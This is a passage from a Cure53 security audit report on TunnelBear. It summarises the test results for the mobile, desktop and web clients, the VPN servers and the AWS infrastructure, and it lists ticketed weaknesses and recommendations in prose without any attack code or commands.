Cure53 analyzed the Android application to determine both how the current versions integrate with the respective ecosystem and the method by which communication with the platform APIs is handled. These assessments bode favorably for the application, which was deemed to provide robust protective measures in this area and successfully negated any kind of commonly-found issue, including task hijacking attacks and information disclosures that could occur due to misconfigurations.

Furthermore, the observable attack surface was relatively minimal here due to limited exported components, which remains a sound approach for keeping threats from malicious third-party applications at bay.

Nevertheless, some minor weaknesses were identified - as documented in tickets TB-10-003, TB-10-004, and TB-10-005 - that represent hardening recommendations and should be considered worthy of mitigation at the earliest possible convenience.

Elsewhere, the testing team evaluated the Shadowsocks implementation. Since all Android clients share the same symmetric Pre-Shared-Key (SPSK) derived from the same password, traffic sent over the socks may be susceptible to decryption in various situations. However, Shadowsocks is primarily leveraged for circumvention checks; the traffic itself is also encrypted via TLS, which ensures clear-text traffic cannot be leaked if Shadowsocks traffic is decrypted.

Communication between the mobile apps and the backend was also deep-dive examined by Cure53, though these efforts could not identify any typical injection- or authentication-related issues. Nevertheless, one weakness was detected pertaining to a misconfiguration that incurs user-input processing via the *X-Forwarded-For* header (see TB-10-006). Here, Cure53 strongly advises adhering to the recommended mitigation in order to block any additional information leakage, regardless of whether a user is connected to the TunnelBear VPN.

The public pages and exposed services belonging to **.tunnelbear.com* were also subject to stringent assessment. A plethora of DNS enumeration and brute-forcing techniques were applied to achieve the widest possible coverage of exposed services owned by TunnelBear. These essentially simulated a malicious attacker's attempts to enumerate the external attack surface.

Every enumerated service was subsequently tested against commonly-found and well-known vulnerabilities, which facilitated the detection of a subdomain takeover on *blog.tunnelbear.com* (see TB-01-001). Here, Cure53 is pleased to acknowledge that the client mitigated the present issue soon after. However, as already recommended within the ticket, one can strongly advise monitoring this process with greater stringency to ensure these weaknesses will not be reintroduced in future TunnelBear platform releases.

The iOS application was also extensively tested for common misconfigurations, including potentially insecure storage of authentication data. Similarly to its Android counterpart, the app garnered a solid impression. Generally speaking, the exposed attack surface remains considerably restricted, since even the exposed custom protocol handler neither calls security-relevant functionality nor contains any secret that could leak to an attacker-owned iOS app. Nevertheless, some additional hardening recommendations were detected pertaining to the HTML CAPTCHA view and SplitBear functionality. Additional guidance on these are offered in tickets TB-10-011 and TB-10-012.

Another aspect subjected to thorough examination was the Windows client implementation. Here, a primary focus was placed on the communication between the user component and TunnelBear service in order to determine any potential for privilege escalation. Even though the service utilizes *cmd.exe* to execute shell commands, testing confirmed that the service did not pass data received by the user application. Furthermore, the WCF contracts exposed by the service are concisely retained, thereby negating any unnecessary attack surfaces. Despite the lack of *Critical* issues here, the Windows client's security could certainly benefit from improvement by integrating additional parameter validation, as documented in TB-10-024 and TB-10-025.

The frontend web applications are built upon the Vue.js framework, which sufficiently documents any potential code-related erroneous behaviors that may otherwise incur XSS vulnerabilities and similar. In the eventuality the application utilizes encompassing attributes such as *v-html*, the current implementation ensures that user-controlled information is not passed to it. Similarly, testing any HTTP requests for client-side path traversal issues was prevented by the fact that the application does not support many URL parameters. The testing team could not also detect any instance whereby an HTTP path included a user-specified value.

**Dr.-Ing. Mario Heiderich, Cure53**
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Assessments were initiated to determine the presence of any DOM XSS issues, though these did not yield any findings either since no vulnerable postMessage implementations were found. Ultimately, only one minor defense-in-depth improvement was identified in relation to the web frontend (see TB-10-026), which remains a praiseworthy outcome for the TunnelBear team in this area.

Whilst evaluating the VPN servers, a plaintext secret revealing the entire contents of the Ansible Vault was discovered. This vulnerability incurs myriad consequences, including the compromise of multiple cloud platforms as documented in tickets TB-10-027, TB-10-028, TB-10-029, and TB-10-031.

Further examination of the VPN servers revealed that the server itself implemented a number of insecure *sudo* rules that require patching as soon as possible (see TB-10-017, TB-10-018, and TB-10-020). Here, the testing team observed an opportunity for greater defense-in-depth integration. This viewpoint was corroborated by the fact that API credentials are retained in root shell history (see TB-10-021).

In light of this, Cure53 advises ensuring that the overall system is constructed to negate any cascading effect in the eventuality a component is compromised. Lateral movement from a compromised server should be avoided at all costs. Overall, the TunnelBear implementation was deemed to exhibit a sufficiently secure shell yet softer core, which could become problematic if the initial perimeter is compromised. Evidently, operational security requires extensive improvement and process integration to achieve industry-standard core hardening.

Cure53 also thoroughly analyzed the AWS setup and the infrastructure-as-code. A plethora of related issues were detected, including the presence of clear-text credentials, which confirms the need for stronger procedural and best practice integration. The Filterpod services were rigorously evaluated to determine any potential security issues, though none were identified here. The testing team also positively acknowledged the absence of logic bugs in addition.

The sole weakness identified in this regard pertained to the outdated runtime in use, which is also reflected in WP2 under ticket TB-10-013. This indicates that the TunnelBear framework would benefit from enhancements to supply chain management, which can be achieved by implementing auto-updating and scanning for known vulnerabilities. In general, the tested services appear to be solidly written in a secure manner. The choice of languages and libraries was deemed sound, considering the many inherent security benefits they offer.

**Dr.-Ing. Mario Heiderich, Cure53**
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

All WP5-related assessment efforts focused on the AWS resources and attached services leveraged for the purpose of deploying, maintaining, and hosting the TunnelBear infrastructure. Due to the vast volume of items in scope for WP5, the guidance offered in this report should not be considered a comprehensive overview of the infrastructure’s security posture.

Cure53 observed several problematic deployment procedures, as well as a number of configurations deemed insecure following the completion of this audit. The majority of the tickets detected during this assessment pertain to insufficient handling of sensitive and privileged parameters. The current deployment procedures utilized by TunnelBear would greatly benefit from an overhaul concerning the administrative model, coherent deployment methods, and defense-in-depth schemas. Nevertheless, the fact that the majority of tickets assigned a *Critical* or *High* severity marker require an initial compromise vector for successful attacker leverage is worthy of mention.

That being said, the current infrastructure was deemed to rely on a security design concept based on perimeter security. In light of this, adopting a cloud-based infrastructure that leverages a perimeter approach of this nature to define security boundaries should be considered outdated by modern standards. This viewpoint primarily owes to the interconnectivity required by the control plan of every cloud provider.

In conclusion, Cure53 strongly recommends that the TunnelBear team invests ample time and resources into further developing its security design concepts in the pursuit of a sound defense-in-depth and least-privilege topology. In addition to this, secret and key management procedures should be clearly defined and implemented throughout the entire infrastructure in order to mitigate the risk of accidental exposure.

Cure53 would like to thank Dana Prajea, Dave Carollo, Cameron Drysdale, Phil Schleihauf, and Daniel Francisco from the TunnelBear team, as well as Vishnu Varadaraj from the McAfee ULC team, for their excellent project coordination, support and assistance, both before and during this assignment.